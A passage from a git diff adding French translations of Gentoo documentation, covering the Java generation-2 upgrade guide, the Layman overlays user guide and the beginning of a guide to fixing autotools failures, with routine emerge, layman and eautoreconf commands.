+<abstract>
+Ce chapitre vous aidera si vous n'arrivez pas à vous connecter en ssh.
+</abstract>
+  <include href="hb-selinux-logremote.xml"/>
+</chapter>
+</part>
+
+</book>
+
diff --git a/xml/htdocs/proj/fr/java/java-upgrade.xml b/xml/htdocs/proj/fr/java/java-upgrade.xml
new file mode 100644
index 00000000..4d52cdac
--- /dev/null
+++ b/xml/htdocs/proj/fr/java/java-upgrade.xml
@@ -0,0 +1,261 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/java/java-upgrade.xml" lang="fr">
+<title>Guide de mise à jour Java pour Gentoo</title>
+
+<author title="Auteur">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Auteur">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Rédacteur">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+<author title="Traducteur">
+  <mail link="clefebvre.62@free.fr">Christophe Lefebvre</mail>
+</author>
+
+<abstract>
+Ce guide vous explique comment mettre à jour Java vers la nouvelle génération
+de Java sur Gentoo, avec ses concepts et ses outils.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Bonjour et bienvenue. Dès à présent, vous pouvez vous demander «&nbsp;pourquoi
+devrais-je mettre à jour Java&nbsp;?&nbsp;». Ou peut-être que vous avez
+commencé à le faire et que vous avez été redirigé vers cette page à cause d'une
+erreur qui s'est produite pendant une installation avec
+«&nbsp;emerge&nbsp;»&nbsp;? Le but de ce document est de vous aider à évoluer
+vers le nouveau système Java. Ah, mais qu'y a-t-il de nouveau avec ce nouveau
+système Java&nbsp;?
+</p>
+
+</body>
+</section>
+<section>
+<title>Le nouveau système Java</title>
+<body>
+
+<p>
+Pour ceux qui ne sont pas familiers avec le nouveau système Java, voici une
+liste des nouvelles fonctionnalités&nbsp;:
+</p>
+
+<ul>
+  <li>Possibilité de changer la machine virtuelle (VM) à la volée</li>
+  <li>
+    Les modifications apportées à l'utilisateur et à la machine virtuelle du
+    système prennent effet immédiatement et ne sont plus dépendantes
+    l'environnement Shell (c'est-à-dire qu'il n'est plus nécessaire de faire
+    <c>env-update &amp;&amp; source /etc/profile</c> après avoir changé de
+    machine virtuelle).
+  </li>
+  <li>
+    Dès à présent, c'est le concept d'un «&nbsp;build VM&nbsp;» qui est utilisé
+    pour installer les paquetages avec <c>emerge</c> et il est configuré
+    indépendamment de la machine virtuelle du système.
+  </li>
+  <li>
+    Pour chaque version de Java (versions 1.3, 1.4, 1.5, etc...), le
+    «&nbsp;build VM&nbsp;» peut être configuré pour choisir le fournisseur et
+    la version de la machine virtuelle que l'on souhaite utiliser.
+  </li>
+  <li>
+    Au moment de la compilation d'un fichier, la bonne machine virtuelle sera
+    utilisée conformément à sa configuration et aux dépendances nécessaires au
+    paquetage à installer. Par exemple, la compilation de certains paquetages
+    échoue avec la version 1.5. Dans ce cas, la version 1.4 de la machine
+    virtuelle sera utilisée au moment de la compilation.
+  </li>
+  <li>
+    Les paquetages Java qui ont été installés avec <c>ant</c> posséderont leur
+    fichier «&nbsp;build.xml&nbsp;» réécrit au moment de la compilation afin
+    d'être sûr que la bonne version de Java soit utilisée.
+  </li>
+  <li>La version 1.5 de Java n'est plus masquée.</li>
+  <li>La version 1.6 de Java sera disponible dès sa sortie.</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Terminologie et concepts</title>
+<body>
+
+<p>
+Maintenant que vous avez une idée de ce que vous allez obtenir, voici quelques
+limites et concepts qui peuvent vous être utiles avant de commencer&nbsp;:
+</p>
+
+<dl>
+  <dt>Génération</dt>
+  <dd>
+    C'est un nouveau concept. Une génération est un ensemble d'outils et
+    d'«&nbsp;eclasses&nbsp;» permettant d'installer des paquetages Java. En
+    quelque sorte, nous commençons à migrer vers une nouvelle génération de
+    Java. Durant ce temps, les deux générations coexisteront sur votre système
+    et dans l'arborescence de portage. Donc, par exemple, vous pouvez avoir une
+    machine virtuelle installée pour la 1<sup>ère</sup>génération <e>et</e> une
+    machine virtuelle pour la 2<sup>ème</sup> génération. En procédant de cette
+    manière, les paquetages qui utilisent la 1<sup>ère</sup> génération et la
+    2<sup>ème</sup> génération peuvent coexister le temps que nous migrons vers
+    la nouvelle génération.
+  </dd>
+  <dt>1<sup>ère</sup> génération</dt>
+  <dd>
+    Cette génération comprend les «&nbsp;eclasses&nbsp;» existantes (java-pkg,
+    java-utils et java) et <c>java-config</c>. La 1<sup>ère</sup> génération
+    est le système qui va disparaître.
+  </dd>
+  <dt>2<sup>ème</sup> génération</dt>
+  <dd>
+    Cette génération comprend les nouvelles «&nbsp;eclasses&nbsp;» (java-pkg-2,
+    java-pkg-opt-2, java-ant-2 et java-utils-2) et la nouvelle version de
+    <c>java-config</c>. C'est la génération vers laquelle nous migrons.
+  </dd>
+  <dt>Machine virtuelle de la 1<sup>ère</sup> génération</dt>
+  <dd>
+    C'est la machine virtuelle qui est utilisée pour installer les paquetages
+    Java en utilisant les «&nbsp;eclasses&nbsp;» de la 1<sup>ère</sup>
+    génération. Pour la sélectionner, on utilise la commande
+    suivante&nbsp;: <c>java-config-1 --set-system-vm &lt;machine virtuelle
+    choisie&gt;</c>.
+  </dd>
+  <dt>2<sup>ème</sup> génération de la machine virtuelle</dt>
+  <dd>
+    Avec la 2<sup>ème</sup> génération, la machine virtuelle est seulement
+    utilisée par l'utilisateur «&nbsp;root&nbsp;» et par les utilisateurs qui
+    n'ont pas encore choisi leur machine virtuelle.
+  </dd>
+  <dt>La machine virtuelle installée de la 2<sup>ème</sup> génération</dt>
+  <dd>
+    La 2<sup>ème</sup> génération introduit une nouvelle classe de machine
+    virtuelle. La machine virtuelle installée est utilisée au moment de
+    l'installation (avec la commande <c>emerge</c> des paquetages Java. Elle
+    est modifiée si nécessaire suivant le paquetage à installer. Par exemple,
+    si un paquetage ne peut se compiler qu'avec une version 1.4, la machine
+    virtuelle en version 1.4 sera alors utilisée. Les paramètres par défaut
+    sont définis dans
+    <path>/usr/share/java-config-2/config/jdk-defaults.conf</path>. De plus, la
+    machine virtuelle installée peut être configurée grâce au fichier
+    <path>/etc/java-config-2/build/jdk.conf</path>.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mettre à jour java-config</title>
+<section>
+<body>
+
+<p>
+Un nouveau paquetage, <c>java-config-wrapper</c> est bloqué par les anciennes
+versions de <c>java-config</c> donc nous devons commencer par le(s)
+désinstaller&nbsp;:
+</p>
+
+<pre caption="Désinstaller le ou les anciens java-config">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Maintenant, nous pouvons installer les nouvelles versions de
+<c>java-config</c>&nbsp;:
+</p>
+
+<pre caption="Installer le nouveau java-config">
+# <i>emerge -1 java-config:0 java-config:2</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Vérifier votre environnement</title>
+<section>
+<body>
+
+<p>
+Nous fournissions maintenant un nouveau script&nbsp;:
+<c>java-check-environment</c>. Il s'agit, comme son nom l'indique, d'un script
+permettant de vérifier la «&nbsp;santé&nbsp;» de l'environnement Java de votre
+système. Il vous suggère des solutions pour corriger les problèmes trouvés.
+Alors, dès à présent, lancez&nbsp;:
+</p>
+
+<pre caption="Vérifiez votre environnement">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+Si <c>java-check-environment</c> rencontre un problème, il s'arrête et vous dit
+ce qu'il en est et comment corriger le problème. Suivez le conseil donné puis
+relancez <c>java-check-environment</c> autant de fois que nécessaire jusqu'à ce
+qu'il ne trouve plus aucun problème.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mise à jour... terminée&nbsp;!</title>
+<section>
+<body>
+
+<p>
+Si vous êtes arrivé ici, c'est que vous avez réussi votre mise à jour vers le
+nouveau système Java. Félicitations&nbsp;!
+</p>
+
+<p>
+Maintenant que vous avez fait la mise à jour, vous souhaiterez peut-être à
+présent consulter notre documentation mise à jour&nbsp;:
+</p>
+
+<ul>
+  <li><uri link="/doc/fr/java.xml">Guide Java avec Gentoo</uri></li>
+  <li>
+    <uri link="/proj/en/java-devel.xml">Gentoo Java Packaging Guide</uri>
+  </li>
+</ul>
+</body>
+
+</section>
+</chapter>
+
+<chapter>
+<title>Solutions et questions courantes</title>
+<section>
+<body>
+
+<p>
+Pour aborder les problèmes rencontrés lors de la mise à jour, l'équipe Java a
+mis en place une page wiki <uri
+link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">ici</uri>.
+Avant de chercher de l'aide ou de signaler des problèmes, nous vous remercions
+de vous référer tout d'abord à cette page.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/overlays/userguide.xml b/xml/htdocs/proj/fr/overlays/userguide.xml
new file mode 100644
index 00000000..b0d0f5d8
--- /dev/null
+++ b/xml/htdocs/proj/fr/overlays/userguide.xml
@@ -0,0 +1,371 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/overlays/userguide.xml,v 1.5 2009/08/18 14:08:17 titefleur Exp $ -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<guide link="/proj/fr/overlays/userguide.xml" lang="fr">
+<title>Les surcouches de Gentoo&nbsp;: guide de l'utilisateur</title>
+
+<author title="Auteur">
+  <mail link="stuart">Stuart Herbert</mail>
+</author>
+<author title="Author">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Traducteur">
+  <mail link="nicolas@litchinko.fr">Nicolas Litchinko</mail>
+</author>
+
+<abstract>
+Ce guide aide les utilisateurs à appréhender l'utilisation du service des
+surcouches de Portage (ou «&nbsp;overlays&nbsp;»).
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2008-10-30</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>Public visé</title>
+<body>
+
+<p>
+Ce document a été écrit pour tous les utilisateurs de Gentoo. Si vous êtes un
+développeur Gentoo ou un membre du staff de Gentoo et que vous désirez gérer
+votre propre surcouche, veuillez vous réferer au <uri
+link="/proj/en/overlays/devguide.xml">Guide du Développeur</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Que sont les surcouches&nbsp;?</title>
+<body>
+
+<p>
+Les surcouches ou «&nbsp;overlays&nbsp;» sont des arbres de paquets pour
+Portage. Elles contiennent des ebuilds supplémentaires pour Gentoo. Elles sont
+gérées par des développeurs Gentoo et les projets, mais sont diffusées
+séparément de l'arbre principal de Portage.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Pourquoi utiliser les surcouches&nbsp;?</title>
+<body>
+
+<p>
+Les gens créent des surcouches pour toutes sortes de raisons. Voici les
+principales&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Si vous modifiez un ebuild dans <path>/usr/portage</path>, votre
+    modification sera perdue dès que vous exécuterez <c>emerge --sync</c>.
+    Toutefois, si vous placez votre modification dans une surcouche, elle ne
+    sera pas écrasée par <c>emerge --sync</c>.
+  </li>
+  <li>
+    Puisque les surcouches ne sont pas l'arbre principal de Portage, elles sont
+    un emplacement privilégié pour développer et tester un ebuild sans risquer
+    de compromettre l'arbre principal de Portage.
+  </li>
+  <li>
+    Tous les ebuilds ne sont pas adaptés à l'arbre principal de Portage. Une
+    surcouche est un bon emplacement pour stocker un ebuild jusqu'à ce qu'il
+    soit prêt à être intégré dans l'arbre principal de Portage.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Qu'est-ce que le projet Gentoo Overlays&nbsp;?</title>
+<body>
+
+<p>
+Le projet Gentoo Overlays fournit des emplacements de travail pour permettre
+aux projets, développeurs et utilisateurs de Gentoo de collaborer autour des
+paquets Gentoo de demain. Nous permettons cela en hébergeant des surcouches
+pour les projets et les développeurs de Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Est-ce que toutes les surcouches officielles sont hébergées sur
+overlays.gentoo.org&nbsp;?</title>
+<body>
+
+<p>
+Non. Les développeurs Gentoo sont libres de placer leurs surcouches où il leur
+plaît. Ils ne sont pas forcés d'utiliser overlays.gentoo.org s'ils ne le
+souhaitent pas.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Débuter avec les surcouches</title>
+<section>
+<body>
+
+<p>
+Gunnar Wrobel a créé Layman pour installer et mettre à jour les surcouches.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Installation de Layman</title>
+<body>
+
+<p>
+Pour installer Layman, exécutez les commandes suivantes&nbsp;:
+</p>
+
+<pre caption="Installation de Layman">
+# <i>emerge layman</i>
+</pre>
+
+<pre caption="Indiquer à Portage comment récupérer les dépôts de layman">
+<comment>(pour layman 1.1)</comment>
+<i># echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(pour layman 1.2 et supérieur)</comment>
+<i># echo "source /usr/local/portage/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<note>
+Layman va créer un fichier <path>/usr/local/portage/layman/make.conf</path> dès
+que vous ajouterez votre première surcouche. Toutefois, si vous ne comptez pas
+installer une surcouche immédiatement, vous devriez vous assurez que ce fichier
+existe et qu'il contient la variable vide PORTDIR_OVERLAY. Dans le cas
+contraire, Portage va se plaindre. Vous pouvez exécuter <c>echo
+PORTDIR_OVERLAY=\"\" > /usr/portage/local/layman/make.conf</c> pour créer ce
+fichier correctement.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Afficher la liste des surcouches disponibles</title>
+<body>
+
+<p>
+Pour afficher la liste des surcouches disponibles, exécutez&nbsp;:
+</p>
+
+<pre caption="Afficher la liste des surcouches disponibles">
+# <i>layman -L</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Installer une surcouche</title>
+<body>
+
+<p>
+Pour installer une surcouche sur votre ordinateur, exécutez&nbsp;
+</p>
+
+<pre caption="Ajouter une surcouche">
+# <i>layman -a &lt;nom-de-la-surcouche&gt;</i>
+</pre>
+
+<p>
+Par exemple, pour installer <uri link="http://overlays.gentoo.org/proj/php">la
+surcouche du projet PHP de Gentoo</uri>, exécutez&nbsp;:
+</p>
+
+<pre caption="Ajoutez la surcouche du projet PHP de Gentoo">
+# <i>layman -a php</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Installer des paquets depuis une surcouche</title>
+<body>
+
+<p>
+Après avoir installé une surcouche, vous pouvez installer des paquets de cette
+surcouche en exécutant&nbsp;:
+</p>
+
+<pre caption="Installer un paquet depuis une surcouche">
+# <i>emerge -av &lt;categorie&gt;/&lt;paquet&gt;</i>
+</pre>
+
+<p>
+Portage parcourt automatiquement l'arbre principal de Portage (dans
+<path>/usr/portage</path>) et toutes les surcouches que vous avez installées et
+sélectionne la version la plus récente du paquet.
+</p>
+
+<p>
+Si Portage ne sélectionne pas le paquet fourni par la surcouche, c'est en
+général parce que le paquet est marqué ~arch , où «&nbsp;arch&nbsp;» est
+l'architecture de votre ordinateur (souvent x86).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Mettre à jour une surcouche</title>
+<body>
+
+<p>
+Pour garder les surcouches que vous avez installées à jour, exécutez&nbsp;:
+</p>
+
+<pre caption="Mettre à jour les surcouches installées">
+# <i>layman -S</i>
+</pre>
+
+<p>
+Veuillez ne pas exécuter cette commande plus d'une fois par jour ou vous
+pourriez mettre trop de pression sur l'infrastructure de Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Comment s'investir</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Tous les développeurs Gentoo ont été des utilisateurs de Gentoo avant de
+devenir développeurs et sont toujours des utilisateurs. Nos utilisateurs sont
+la raison pour laquelle Gentoo existe aujourd'hui&nbsp;; ils sont également nos
+futurs volontaires.
+</p>
+
+<p>
+Si vous commencez à contribuer à un projet, nous vous donnerons un accès en
+écriture à la surcouche du projet et nous vous fournirons des mentors pour vous
+aider dans votre contribution. Si nous apprécions votre travail et la façon
+dont vous le faites, nous pourrions vous inviter à rejoindre l'équipe des
+développeurs Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Comment démarrer</title>
+<body>
+
+<p>
+Si vous voulez contribuer à une surcouche, la meilleure méthode est de créer
+des liens solides avec les développeurs Gentoo responsables de cette surcouche.
+Vous pouvez découvrir qui est responsable de chaque surcouche en consultant
+<uri link="http://overlays.gentoo.org">la page de garde
+d'overlays.gentoo.org</uri> et en cliquant sur le lien de la surcouche en
+question.
+</p>
+
+<p>
+Les développeurs peuvent être contactés de différentes manières. Certains sont
+disponibles sur IRC et ont peut-être même leurs propres salons pour leurs
+projets. C'est le cas par exemple du projet PHP de Gentoo (#gentoo-php) et du
+projet Webapps (#gentoo-web). D'autres préfèrent être contactés uniquement par
+courrier électronique. La seule façon de le découvrir est d'essayer de les
+contacter. Généralement les personnes présentes sur le canal #gentoo-bugs du
+réseau IRC Freenode savent comment trouver les responsables en question.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Travailler avec Subversion</title>
+<body>
+
+<p>
+Subversion est l'un des progiciels de gestion des versions que nous utilisons
+pour gérer le contenu de nos surcouches. Si vous n'avez jamais utilisé
+Subversion auparavant, le livre de Subversion (en anglais) est un excellent
+moyen d'apprendre à se servir de Subversion. Vous pouvez soit l'acheter au
+format papier, soit le lire gratuitement en ligne.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Travailler avec Git</title>
+<body>
+
+<p>
+Git est un autre progiciel de gestion des versions que nous utilisons pour nos
+surcouches. Vous pourrez le découvrir et apprendre à l'utiliser grâce au
+tutoriel fourni sur le site web.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Plus d'information</title>
+<body>
+
+<p>
+Le projet Gentoo (ou le développeur) avec lequel vous travaillez devrait être
+en mesure de vous procurer l'aide et l'assistance dont vous pourriez avoir
+besoin.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Foire aux questions</title>
+<section>
+<body>
+
+<p>
+Q : Hébergez-vous des surcouches pour les utilisateurs&nbsp;?
+</p>
+
+<ul>
+  <li>
+    R : Non. Si vous désirez faire héberger votre propre surcouche sur
+    (git.)overlays.gentoo.org, vous devez d'abord devenir un développeur Gentoo.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/qa/autofailure.xml b/xml/htdocs/proj/fr/qa/autofailure.xml
new file mode 100644
index 00000000..d54e372b
--- /dev/null
+++ b/xml/htdocs/proj/fr/qa/autofailure.xml
@@ -0,0 +1,380 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/qa/autofailure.xml,v 1.2 2008/03/11 13:08:58 titefleur Exp $ -->
+
+<guide link="/proj/fr/qa/autofailure.xml" lang="fr">
+<title>Comment corriger les échecs des autotools</title>
+
+<author title="Auteur">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<author title="Traducteur">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+
+<abstract>
+Ce guide a pour but de décrire les situations courantes qui causent des erreurs
+lors de l'appel aux autotools dans un ebuild et de donner des conseils sur
+comment les corriger.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.6</version>
+<date>2008-01-25</date>
+
+<chapter> <!-- Introduction -->
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Par le terme <e>autotools</e>, on se réfère usuellement aux outils développés
+par le projet GNU pour créer des systèmes de compilation indépendants de la
+plate-forme et du système&nbsp;: <c>autoconf</c>, <c>automake</c> et
+<c>libtool</c>. Même si chaque paquet ne les utilise pas tous en même temps,
+c'est le cas pour la plupart des modernes. Souvent, de plus vieux paquets
+n'utilisent pas <c>automake</c> et <c>libtool</c>&nbsp;; les paquets KDE
+utilisent un système de compilation plus complexe qui dépend au final des trois
+logiciels cités plus haut.
+</p>
+
+<p>
+On reconnaît facilement un paquet dont le système de compilation est basé sur
+les autotools&nbsp;: s'il y a un script <path>configure</path> et un fichier
+<path>configure.in</path> ou <path>configure.ac</path>, le système de
+compilation est basé sur <c>autoconf</c>. S'il y a un ou plusieurs fichiers
+<path>Makefile.am</path> dans divers sous-répertoires, il est aussi basé sur
+<c>automake</c>. S'il y a un script <path>ltmain.sh</path>, il utilise aussi
+<c>libtool</c>.
+</p>
+
+<p>
+Pour compiler un paquet basé sur les autotools, les outils eux-mêmes ne sont pas
+strictement nécessaires&nbsp;: le script <path>configure</path> est un simple
+script Bourne Shell (usuellement, mais nous en reparlerons plus tard) et il
+transforme les fichiers <path>Makefile.in</path> en un <path>Makefile</path>,
+plus simple, pour <c>make</c> (ou, plus souvent, <c>gmake</c>). Certains
+problèmes tels que les <uri link="/proj/en/qa/asneeded.xml">échecs de
+compilation avec --as-needed</uri> ou les <uri
+link="/proj/en/qa/automagic.xml">automagic dependencies</uri> nous forcent à
+relancer ces outils pour prendre en compte des correctifs lors de la création
+des scripts et schémas des Makefiles.
+</p>
+
+<p>
+Ce guide ne donnera pas de consigne qui explique corriger les erreurs des
+paquets en utilisant les autotools car c'est un trop vaste sujet qui requiert
+d'expliquer beaucoup de choses. Pour une simple introduction aux erreurs les
+plus courantes faites en utilisant les autotools, il est plutôt suggéré de lire
+l'article <uri link="/doc/en/articles/autotools-practices.xml">best practices
+with autotools</uri>. Ce guide décrit plutôt les cas courants où relancer les
+autotools amène à des erreurs, soit à la reconstruction du script, soit à la
+compilation.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter> <!-- Re-running autotools -->
+<title>Relancer les autotools</title>
+<section>
+<body>
+
+<p>
+La première chose importante à savoir est comment reconstruire proprement le
+support pour les autotools, étant donné que c'est un problème courant qui cause
+des erreurs dans certains ebuilds. L'ordre dans lequel les autotools sont
+appelés est important comme l'un dépend de l'autre et que le résultat final
+dépend beaucoup du respect de cet ordre.
+</p>
+
+<p>
+De nombreux paquets ne fournissent qu'un seul script, souvent appelé
+<path>autogen.sh</path> ou <path>bootstrap.sh</path>, qui sert à exécuter ces
+outils dans l'ordre qu'ils pensent être le bon, souvent en définissant des
+variables pour que la bonne version des outils soit appelée (différentes
+versions des autotools sont souvent incompatibles). Ces scripts sont, en
+général, préférés aux autres méthodes mais contiennent souvent des erreurs ou
+supposent être sur un certain environnement qui peut être propre à une autre
+distribution. Pour cette raison, ils doivent être attentivement vérifiés et,
+lorsqu'ils n'apportent aucun avantage par rapport aux autres méthodes (ils
+pourraient se contenter d'appeler les outils les uns après les autres sans pour
+autant leur passer en argument des paramètres spéciaux ou vérifier leur valeur
+de retour), ils ne devraient pas être utilisés.
+</p>
+
+<p>
+Le paquet <c>autoconf</c> fournit un script automatique, appelé
+<c>autoreconf</c>, qui devrait détecter automatiquement quels autotools sont
+utilisés et les appeler, mais il échoue trop souvent à détecter la bonne version
+ou plante à cause de cas imprévus. De plus, il appelle <c>autopoint</c>, le
+script qui rajoute le support pour <c>gettext</c> à un paquet. Cet appel n'est
+presque jamais requis après avoir corrigé un paquet. C'est pour cette raison
+qu'<c>autoreconf</c> n'est pas recommandé et est évité autant que possible (la
+même chose prévaut pour certains scripts maison fournis par des paquets qui les
+utilisent).
+</p>
+
+<p>
+Pour pallier à ces problèmes, l'eclass <path>autotools</path> a été ajoutée.
+Cette eclass fournit des fonctions autour des autotools GNU&nbsp;:
+<c>eautoconf</c>, <c>eautomake</c>, <c>_elibtoolize</c> (avec le préfixe _ pour
+éviter les collisions avec les fonctions <c>elibtoolize</c> de l'eclass
+<path>libtool</path>) et la plus importante <c>eautoreconf</c>. Cette fonction
+n'utilise pas le script cassé <c>autoreconf</c>, mais analyse plutôt les
+fichiers présents pour le support des autotools et les lance dans le bon ordre.
+Il appelle aussi la fonction <c>elibtoolize</c> pour appliquer les correctifs
+pour le support de libtool si nécessaire, évitant ainsi les problèmes
+lorsqu'elle est appelée avant la recréation des fichiers des autotools.
+</p>
+
+<p>
+Les fonctions de l'eclass <path>autotools</path> ont aussi l'avantage de
+remplacer le surplus (en cas de problème) ou l'absence (en cas de succès) de
+messages par des <c>ebegin</c>/<c>eend</c> afin que les utilisateurs sachent ce
+qu'il se passe. Elles tracent aussi les erreurs en fournissant des messages à la
+<c>epatch</c> en cas d'échec. Pour cette raison, ces fonctions sont préférées
+aux appels manuels ou mauvais ou aux scripts presque inutiles fournis dans les
+paquets. Un autre avantage est que l'eclass <path>autotools</path> rajoute aussi
+les dépendances à la compilation des paquets nécessaires
+(<b>sys-devel/autoconf</b>, <b>sys-devel/automake</b>,
+<b>sys-devel/libtool</b>).
+</p>
+
+<warn>
+Les paquets KDE utilisent souvent un système plus complexe basé sur les
+autotools qui font usage de fichiers <path>configure.in.in</path> spécifiques et
+un peu de magie Perl. Pour cette raison ils ne doivent <b>jamais</b> utiliser
+l'eclass <path>autotools</path>. Si vous avez besoin de refaire appel aux
+autotools, il est préférable d'effacer le fichier <path>${S}/configure</path> et
+de faire savoir à la fonction <c>kde_src_compile</c> qu'il faut relancer les
+scripts qui recréent le support pour les autotools.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Macros potentiellement non définies</title>
+<body>
+
+<p>
+L'erreur la plus commune avec les autotools est à propos du message
+d'<c>autoconf</c>&nbsp;: «&nbsp;possibly undefined macro: UNE_MACRO&nbsp;». Ce
+message est affiché quand une macro est appelée depuis le fichier
+<path>configure.ac</path> ou <path>configure.in</path> mais qu'elle n'est pas
+définie dans le fichier <path>aclocal.m4</path> créé par <c>aclocal</c>.
+</p>
+
+<p>
+Ceci arrive souvent car la macro mentionnée n'est pas disponible lorsque
+<c>aclocal</c> est appelé. Comme, par défaut, il charge les macros trouvées dans
+<path>/usr/share/aclocal</path>, cela signifie que le paquet qui fournit cette
+macro n'est pas installé (ou la macro est appelée avec un mauvais nom). Comme le
+second cas est soit trivial soit complexe à résoudre, nous nous intéresserons au
+premier, une définition de macro manquante.
+</p>
+
+<p>
+Les macros écrites par les développeurs pour que leur programme soit détecté
+dans le système en utilisant les autotools sont souvent écrites dans des
+fichiers m4 qui sont installés dans le susmentionné répertoire
+<path>/usr/share/aclocal</path>. Comme beaucoup de paquets utilisent ces macros
+pour des dépendances optionnelles, un fichier m4 peut être nécessaire mais ne
+pas être installé sur le système où les autotools sont appelés. Pour pallier à
+ce problème il est possible de copier le fichier m4 dans un sous-répertoire
+fourni avec le paquet lui-même.
+</p>
+
+<p>
+Malheureusement, pour utiliser ce sous-répertoire, souvent nommé
+<path>m4</path>, il est nécessaire d'en informer <c>aclocal</c>. Dans les
+projets qui utilisent <c>automake</c>, il est possible de définir ceci dans le
+fichier <path>Makefile.am</path> principal en définissant la variable
+<b>ACLOCAL_AMFLAGS</b>&nbsp;:
+</p>
+
+<pre caption="Exemple pour qu'aclocal cherche ses fichiers de macros dans le
+répertoire «&nbsp;m4&nbsp;»">
+...
+ACLOCAL_AMFLAGS = -I m4
+...
+</pre>
+
+<p>
+Cet ajout est souvent évité par les développeurs de logiciels qui passent
+simplement le paramètre <c>-I m4</c> à aclocal lorsqu'ils font leur paquet. Pour
+ne pas devoir faire un correctif juste pour résoudre ce problème, il est plus
+simple, si le paquet a un répertoire avec les fichiers m4 requis, de le définir
+dans la variable <b>AT_M4DIR</b>. La même chose vaut si le paquet n'utilise pas
+<c>automake</c> mais seulement <c>autoconf</c>.
+</p>
+
+<pre caption="Indiquer à eautoreconf de chercher des fichiers de macro dans le
+répertoire «&nbsp;m4&nbsp;»">
+src_unpack() {
+        ...
+        AT_M4DIR="m4" eautoreconf
+}
+</pre>
+
+<p>
+Dans de rares cas, le programme utilise un système de construction à la Cygnus
+avec des «&nbsp;sous-configure&nbsp;». L'exemple précédent peut échouer
+puisqu'il essaie de trouver un sous-répertoire m4 là où se trouve le configure.
+Pour résoudre ce genre de problème, définissez-le plutôt à <path>${S}/m4</path>.
+</p>
+
+<note>
+C'est souvent une bonne idée d'informer les développeurs des programmes s'ils ne
+définissent pas la variable <b>ACLOCAL_AMFLAGS</b>, comme ça ils peuvent
+l'arranger pour les versions ultérieures. Dans un monde théorique et parfait,
+<c>eautoreconf</c> seul devrait résoudre tous les problèmes.
+</note>
+
+<p>
+Moins souvent, mais ça arrive tout de même, il n'y a pas de sous-répertoire avec
+des fichiers m4 ou bien le fichier avec la macro manquante n'est pas présent.
+Pour résoudre ce problème, vous devez trouver quel paquet fournit le fichier m4
+et ensuite l'ajouter à ce répertoire, soit avec un correctif, soit en le mettant
+sur les miroirs et ensuite en l'ajoutant au <b>SRC_URI</b> (auquel cas vous
+devez ajouter <b>${WORKDIR}</b> à la liste des répertoires dans lesquels
+chercher ou le déplacer dans le bon répertoire). Ce genre de problème est un des
+plus pénibles. Le mieux reste souvent d'en informer les développeurs du logiciel
+dès que possible pour que les prochaines versions ne nécessitent pas de telles
+bidouilles.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Conflit de version d'automake au lancement d'eautoreconf</title>
+
+<body>
+
+<p>
